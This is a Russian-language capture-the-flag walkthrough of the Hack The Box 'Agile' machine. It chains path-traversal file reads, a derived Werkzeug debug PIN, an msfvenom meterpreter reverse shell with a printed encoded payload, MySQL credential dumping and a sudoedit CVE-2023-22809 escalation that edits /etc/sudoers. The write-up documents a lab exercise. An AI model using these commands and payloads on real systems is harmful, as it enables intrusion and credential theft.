Обзор сервисов
IP-адрес машины 10.10.11.203
. Проверим вывод nmap:
$ nmap -sC -sT -p1-65535 -Pn -oN 10.10.11.203 10.10.11.203
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-18 13:23 EDT
Nmap scan report for 10.10.11.203
Host is up (0.062s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
| ssh-hostkey:
| 256 f4:bc:ee:21:d7:1f:1a:a2:65:72:21:2d:5b:a6:f7:00 (ECDSA)
|_ 256 65:c1:48:0d:88:cb:b9:75:a0:2c:a5:e6:37:7e:51:06 (ED25519)
80/tcp open http
|_http-title: Did not follow redirect to http://superpass.htb
Nmap done: 1 IP address (1 host up) scanned in 57.16 seconds
Пропишем в /etc/hosts
:
$ sudo nano /etc/hosts
10.10.11.203 superpass.htb
Вебка
Приложение - менеджер паролей.
Зарегистрируемся и войдем в хранилище.
Поищем другие директории на сервере:
$ gobuster dir -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://superpass.htb -t 20
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://superpass.htb
[+] Method: GET
[+] Threads: 20
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
===============================================================
2023/07/18 13:33:31 Starting gobuster in directory enumeration mode
===============================================================
/static (Status: 301) [Size: 178] [--> http://superpass.htb/static/]
/download (Status: 302) [Size: 249] [--> /account/login?next=%2Fdownload]
Progress: 4967 / 4990 (99.54%)
===============================================================
2023/07/18 13:33:47 Finished
===============================================================
После аутентификации можно попытаться загрузить файл.
Если нажать Export, то редиректит на /download.
Local File Inclusion
Мы можем скачивать файлы, например, посмотрим на пользователей системы:
http://superpass.htb/download?fn=../etc/passwd
...
corum:x:1000:1000:corum:/home/corum:/bin/bash
...
mysql:x:109:112:MySQL Server,,,:/nonexistent:/bin/false
...
edwards:x:1002:1002::/home/edwards:/bin/bash
dev_admin:x:1003:1003::/home/dev_admin:/bin/bash
...
Flask
Приложение на Flask, поэтому постараемся понять его код.
http://superpass.htb/download?fn=../app/app/superpass/app.py
...
def enable_debug():
from werkzeug.debug import DebuggedApplication
app.wsgi_app = DebuggedApplication(app.wsgi_app, True)
app.debug = True
def main():
enable_debug()
configure()
app.run(debug=True)
def dev():
configure()
app.run(port=5555)
if __name__ == '__main__':
main()
else:
configure()
Приложение запущено в режиме отладки. Поэтому при возникновении ошибок будет выпадать stacktrace, а также возможность использовать консоль разработчика Werkzeug, закрытую пин-кодом.
Хорошая новость в том, что пин-код не является случайным, и мы можем подобрать его. Воспользуемся статьей и скриптом из нее. Тащим имя пользователя и параметры среды.
http://superpass.htb/download?fn=../proc/self/environ
LANG=C.UTF-8�PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin�HOME=/var/www�LOGNAME=www-data�USER=www-data�INVOCATION_ID=7efdc58a84af4d1ab480eb9303e96110�JOURNAL_STREAM=8:32814�SYSTEMD_EXEC_PID=1074�CONFIG_PATH=/app/config_prod.json�
На всякий случай, заберем конфигурационный файл с паролем для базы данных.
http://superpass.htb/download?fn=../app/config_prod.json
{"SQL_URI": "mysql+pymysql://superpassuser:dSA6l7q*yIVs$39Ml6ywvgK@localhost/superpass"}
Mac-адрес машины.
http://superpass.htb/download?fn=../proc/net/arp
IP address HW type Flags HW address Mask Device
10.10.10.2 0x1 0x2 00:50:56:b9:93:5a * eth0
Преобразуем его в десятичный вид.
>>> print(0x005056b9331d)
345052361501
Идентификатор машины.
http://superpass.htb/download?fn=../etc/machine-id
ed5b159560f54721827644bc9b220d00
Расположение сервиса относительно cgroup.
http://superpass.htb/download?fn=../proc/self/cgroup
0::/system.slice/superpass.service
ed5b159560f54721827644bc9b220d00superpass.service
Подставляем все эти параметры в скрипт по ссылке и запускаем, получаем пин-коды.
$ python3 pin.py
==========================================================================
122-540-174
('www-data', 'flask.app', 'wsgi_app', '/app/venv/lib/python3.10/site-packages/flask/app.py', '345052361501', 'ed5b159560f54721827644bc9b220d00superpass.service')
==========================================================================
==========================================================================
843-573-677
('www-data', 'flask.app', 'DebuggedApplication', '/app/venv/lib/python3.10/site-packages/flask/app.py', '345052361501', 'ed5b159560f54721827644bc9b220d00superpass.service')
==========================================================================
==========================================================================
120-533-638
('www-data', 'flask.app', 'Flask', '/app/venv/lib/python3.10/site-packages/flask/app.py', '345052361501', 'ed5b159560f54721827644bc9b220d00superpass.service')
==========================================================================
==========================================================================
335-949-778
('www-data', 'werkzeug.debug', 'wsgi_app', '/app/venv/lib/python3.10/site-packages/flask/app.py', '345052361501', 'ed5b159560f54721827644bc9b220d00superpass.service')
==========================================================================
==========================================================================
337-816-809
('www-data', 'werkzeug.debug', 'DebuggedApplication', '/app/venv/lib/python3.10/site-packages/flask/app.py', '345052361501', 'ed5b159560f54721827644bc9b220d00superpass.service')
==========================================================================
==========================================================================
197-072-156
('www-data', 'werkzeug.debug', 'Flask', '/app/venv/lib/python3.10/site-packages/flask/app.py', '345052361501', 'ed5b159560f54721827644bc9b220d00superpass.service')
==========================================================================
Первый же пин-код подходит к консоли.
Reverse Shell
Сразу получим интерактивный шелл.
$ msfvenom -p python/meterpreter/reverse_tcp LHOST=10.10.14.122 LPORT=4242 > pyterpreter.py
[-] No platform was selected, choosing Msf::Module::Platform::Python from the payload
[-] No arch selected, selecting arch: python from the payload
No encoder specified, outputting raw payload
Payload size: 428 bytes
$ cat pyterpreter.py
exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNo9UE1LxDAQPTe/orckGEMb4h4WK4h4EBHB9SYibTJqaJqEJKtV8b+7IYswzPBm3rz5MEvwMbfJqxky+7ZmYtOYYCNZynGvMstmAfTqY7u2xrVxdG9A+o5uUZPj18E3aajNvAYi2BHv7q9uX3aPD9eXd7TwuPLOgcqE4L7jxSTvhcBMCilooUwRxhk1sCoIuWiX4TxZgEDOKLJD3YnvXRjVTPDFDWaJR1AfRFL61D0jPRyxpejz3VhoLTii6bk9yOmT/+ppTVMEKyhSzuYalF9ChJRI/QCfNrIkNRQm+8EJb9MvRX/BHl7m')[0])))
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload python/meterpreter/reverse_tcp
payload => python/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost tun0
lhost => tun0
msf6 exploit(multi/handler) > set lport 4242
lport => 4242
msf6 exploit(multi/handler) > run
MySQL
Достанем пароли из базы данных.
$ mysql -u superpassuser -p -e "SHOW DATABASES;"
Enter password: dSA6l7q*yIVs$39Ml6ywvgK
superpass
$ mysql -u superpassuser -p superpass -e "SHOW TABLES;"
Enter password: dSA6l7q*yIVs$39Ml6ywvgK
Tables_in_superpass
passwords
users
$ mysql -u superpassuser -p superpass -e "SELECT * FROM passwords;"
Enter password: dSA6l7q*yIVs$39Ml6ywvgK
id created_date last_updated_data url username password user_id
3 2022-12-02 21:21:32 2022-12-02 21:21:32 hackthebox.com 0xdf 762b430d32eea2f12970 1
4 2022-12-02 21:22:55 2022-12-02 21:22:55 mgoblog.com 0xdf 5b133f7a6a1c180646cb 1
6 2022-12-02 21:24:44 2022-12-02 21:24:44 mgoblog corum 47ed1e73c955de230a1d 2
7 2022-12-02 21:25:15 2022-12-02 21:25:15 ticketmaster corum 9799588839ed0f98c211 2
8 2022-12-02 21:25:27 2022-12-02 21:25:27 agile corum 5db7caa1d13cc37c9fc2 2
Пароль пользователя corum:5db7caa1d13cc37c9fc2
.
SSH
Этот же пароль подходит к SSH.
$ ssh [email protected]
5db7caa1d13cc37c9fc2
Пользовательский флаг
corum@agile:~$ ls
user.txt
corum@agile:~$ id
uid=1000(corum) gid=1000(corum) groups=1000(corum)
corum@agile:~$ cat user.txt
e088973ddd6d99bdae0c4602e8a417dc
Повышение привилегий
Видим дополнительные сервисы на машине - еще одну базу данных (33060), еще одно приложение на flask (5555), а также доменное имя test.superpass.htb.
$ cat /etc/hosts
127.0.0.1 localhost superpass.htb test.superpass.htb
127.0.1.1 agile
$ ss -tunlp
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
tcp LISTEN 0 5 127.0.0.1:60243 0.0.0.0:*
tcp LISTEN 0 2048 127.0.0.1:5555 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 70 127.0.0.1:33060 0.0.0.0:*
tcp LISTEN 0 10 127.0.0.1:41829 0.0.0.0:*
tcp LISTEN 0 2048 127.0.0.1:5000 0.0.0.0:*
tcp LISTEN 0 151 127.0.0.1:3306 0.0.0.0:*
tcp LISTEN 0 5 [::1]:60243 [::]:*
tcp LISTEN 0 128 [::]:22 [::]:*
Прокинем туннель для приложения.
# туннель
$ ssh -L 127.0.0.1:5555:superpass.htb:5555 [email protected]
5db7caa1d13cc37c9fc2
Сервис выглядит аналогично, но уязвимость LFI запатчена.
Видим, что в процессах висит chrome
и chromedriver
.
$ ps aux | grep chrome
root 9012 0.1 0.3 33625804 13652 ? Sl 17:20 0:00 chromedriver --port=43987
runner 9018 0.6 2.7 33984864 109952 ? Sl 17:20 0:01 /usr/bin/google-chrome --allow-pre-commit-input --crash-dumps-dir=/tmp --disable-background-networking --disable-client-side-phishing-detection --disable-default-apps --disable-gpu --disable-hang-monitor --disable-popup-blocking --disable-prompt-on-repost --disable-sync --enable-automation --enable-blink-features=ShadowDOMV0 --enable-logging --headless --log-level=0 --no-first-run --no-service-autorun --password-store=basic --remote-debugging-port=41829 --test-type=webdriver --use-mock-keychain --user-data-dir=/tmp/.com.google.Chrome.O6fzKo --window-size=1420,1080 data:,
runner 9025 0.0 0.0 33575872 1600 ? Sl 17:20 0:00 /opt/google/chrome/chrome_crashpad_handler --monitor-self-annotation=ptype=crashpad-handler --database=/tmp --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=lsb-release=Ubuntu 22.04.2 LTS --annotation=plat=Linux --annotation=prod=Chrome_Headless --annotation=ver=108.0.5359.94 --initial-client-fd=5 --shared-client-connection
runner 9030 0.0 1.4 33822084 57796 ? S 17:20 0:00 /opt/google/chrome/chrome --type=zygote --no-zygote-sandbox --enable-logging --headless --log-level=0 --headless --crashpad-handler-pid=9025 --enable-crash-reporter
runner 9031 0.0 1.3 33822072 55572 ? S 17:20 0:00 /opt/google/chrome/chrome --type=zygote --enable-logging --headless --log-level=0 --headless --crashpad-handler-pid=9025 --enable-crash-reporter
runner 9033 0.0 0.3 33822100 15432 ? S 17:20 0:00 /opt/google/chrome/chrome --type=zygote --enable-logging --headless --log-level=0 --headless --crashpad-handler-pid=9025 --enable-crash-reporter
runner 9047 0.8 1.9 33913036 79252 ? Sl 17:20 0:01 /opt/google/chrome/chrome --type=gpu-process --enable-logging --headless --log-level=0 --ozone-platform=headless --use-angle=swiftshader-webgl --headless --crashpad-handler-pid=9025 --gpu-preferences=WAAAAAAAAAAgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --enable-logging --log-level=0 --shared-files --field-trial-handle=0,i,16435426365278845695,15213895524511337452,131072 --disable-features=PaintHolding
runner 9050 0.0 2.0 33871388 82408 ? Sl 17:20 0:00 /opt/google/chrome/chrome --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --enable-logging --log-level=0 --use-angle=swiftshader-webgl --use-gl=angle --headless --crashpad-handler-pid=9025 --enable-logging --log-level=0 --shared-files=v8_context_snapshot_data:100 --field-trial-handle=0,i,16435426365278845695,15213895524511337452,131072 --disable-features=PaintHolding --enable-crash-reporter
runner 9080 1.1 2.9 1184726396 115992 ? Sl 17:20 0:01 /opt/google/chrome/chrome --type=renderer --headless --crashpad-handler-pid=9025 --lang=en-US --enable-automation --enable-logging --log-level=0 --remote-debugging-port=41829 --test-type=webdriver --allow-pre-commit-input --ozone-platform=headless --disable-gpu-compositing --enable-blink-features=ShadowDOMV0 --lang=en-US --num-raster-threads=1 --renderer-client-id=5 --time-ticks-at-unix-epoch=-1689772025174657 --launch-time-ticks=15177795359 --shared-files=v8_context_snapshot_data:100 --field-trial-handle=0,i,16435426365278845695,15213895524511337452,131072 --disable-features=PaintHolding
corum 9149 0.0 0.0 4020 1996 pts/0 S+ 17:22 0:00 grep --color=auto chrome
Запущен селениум на порту 41829.
$ cd /app/app-testing/tests/functional
corum@agile:/app/app-testing/tests/functional$ cat test_site_interactively.py | grep remote
options.add_argument("--remote-debugging-port=41829")
Сделаем перенаправление портов на локальный компьютер и подключимся с помощью chromium
.
$ ssh -L 127.0.0.1:41829:superpass.htb:41829 [email protected]
5db7caa1d13cc37c9fc2
Перейдем по пути /devtools/inspector.html…
Мы залогинены под каким-то пользователем. Попробуем посмотреть его пароли.
Пользователь edwards:d07867c6267dcb5df0af
.
edwards
Перейдем к пользователю edwards
.
$ su edwards
d07867c6267dcb5df0af
$ id
uid=1002(edwards) gid=1002(edwards) groups=1002(edwards)
Пользователь может исполнять sudoedit
от имени dev_admin
относительно двух файлов.
$ sudo -l
[sudo] password for edwards:
Matching Defaults entries for edwards on agile:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User edwards may run the following commands on agile:
(dev_admin : dev_admin) sudoedit /app/config_test.json
(dev_admin : dev_admin) sudoedit /app/app-testing/tests/functional/creds.txt
Креды базы данных:
$ sudoedit -u dev_admin /app/config_test.json
{
"SQL_URI": "mysql+pymysql://superpasstester:VUO8A2c2#3FnLq3*a9DX1U@localhost/superpasstest"
}
Креды edwards
:
$ sudoedit -u dev_admin /app/app-testing/tests/functional/creds.txt
edwards:1d7ffjwrx#$d6qn!9nndqgde4
Но это ничего не дает. Проверим версию sudo
:
$ sudo --version
Sudo version 1.9.9
Sudoers policy plugin version 1.9.9
Sudoers file grammar version 48
Sudoers I/O plugin version 1.9.9
Sudoers audit plugin version 1.9.9
К счастью, есть CVE-2023-22809 с публичным эксплоитом, которая для этой версии sudo
позволяет провести атаку и выполнить произвольный код.
Посмотрим, что исполняет пользователь root
. Как видим, он часто исполняет /app/venv/bin/activate
, после чего происходит запуск тестов:
$ ps aux | grep venv
...
root 9523 0.0 0.5 28148 23636 ? R 17:40 0:00 /app/venv/bin/python3 /app/venv/bin/pytest -x
...
Проэксплуатируем это:
$ export EDITOR="vim -- /app/venv/bin/python3"
$ sudoedit -u dev_admin /app/app-testing/tests/functional/creds.txt
# добавить строку
echo "edwards ALL=(ALL:ALL) ALL" >> /etc/sudoers
# подождать минуту
$ sudo su
Флаг суперпользователя
root@agile:~# id
uid=0(root) gid=0(root) groups=0(root)
root@agile:~# ls
app clean.sh root.txt superpass.sql testdb.sql
root@agile:~# cat root.txt
52ecedbd6fbc5d3478c4ab839247da1b